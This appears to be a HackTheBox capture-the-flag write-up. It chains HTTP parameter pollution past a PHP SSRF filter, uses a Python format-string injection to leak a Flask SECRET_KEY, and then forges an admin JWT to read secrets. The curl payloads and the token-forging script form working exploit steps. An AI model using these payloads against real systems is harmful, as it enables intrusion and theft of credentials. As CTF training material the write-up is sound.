$ cat writeup.md…
$ cat writeup.md…
HackTheBox
"In a world without internet, information has a new price. One secret. One look. What are you willing to trade?"
"In a world without internet, information has a new price. One secret. One look. What are you willing to trade?"
Two-service architecture:
bartender.php on port 8000) - Accepts URL, name, secret parameters with SSRF protectionapp.py on port 5000) - Internal service with endpoints:
/generate - Visits URLs with Selenium, stores in database/bartender - Returns secrets (requires JWT with is_admin=true)/logs - Shows URL history with format string vulnerabilityPHP and Flask handle multiple URL parameters differently:
$_GET['url']request.args.get('url')This allows bypassing PHP's SSRF protection while making Flask visit internal URLs.
In the logify() function:
def logify(rec): history = [f"ID: {row[0]} | URL: {row[1]} | Timestamp: {row[2]}" for row in rec] history_1 = row_separator.join(history) log = history_1.format(logify=logify) # VULNERABLE! return log
URLs stored in history are formatted with .format(), allowing format string injection like {logify.__globals__}.
The Flask app's SECRET_KEY can be leaked via format string: {logify.__globals__[app].config}
curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs&url=http://info.cern.ch/&name=test&secret=test"
info.cern.ch (passes SSRF checks - public IP, TTL >= 40)127.0.0.1:5000/logs (internal service)# URL encode the format string payload PAYLOAD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('{logify.__globals__[app].config}'))") curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs?$PAYLOAD&url=http://info.cern.ch/&name=test&secret=test"
This stores a URL with format string in history. When /logs is accessed, it leaks:
SECRET_KEY': '37ba3849afca1b6c01f1cfbeffa3ee4465f5eaea1338027da703b690191d2db7'
#!/usr/bin/env python3 import jwt SECRET_KEY = '37ba3849afca1b6c01f1cfbeffa3ee4465f5eaea1338027da703b690191d2db7' payload = {'is_admin': True, 'username': 'bartender'} token = jwt.encode(payload, SECRET_KEY, algorithm='HS256') print(token) # eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJiYXJ0ZW5kZXIifQ.S6PGnVRMdd7_MU8vMM6yiwwQs7KEIWpNKkHSZ6XtXd8
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJiYXJ0ZW5kZXIifQ.S6PGnVRMdd7_MU8vMM6yiwwQs7KEIWpNKkHSZ6XtXd8" curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/bartender?token=$TOKEN&url=http://info.cern.ch/&name=test&secret=test"
Response contains:
{"secrets":[{"name":"oldest_user_of_bartender","secret":"HTB{REDACTED}"},...]}
HPP SSRF Bypass -> Format String Injection -> SECRET_KEY Leak -> JWT Forgery -> Admin Access -> Flag
{obj.__globals__} leaks global namespace$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar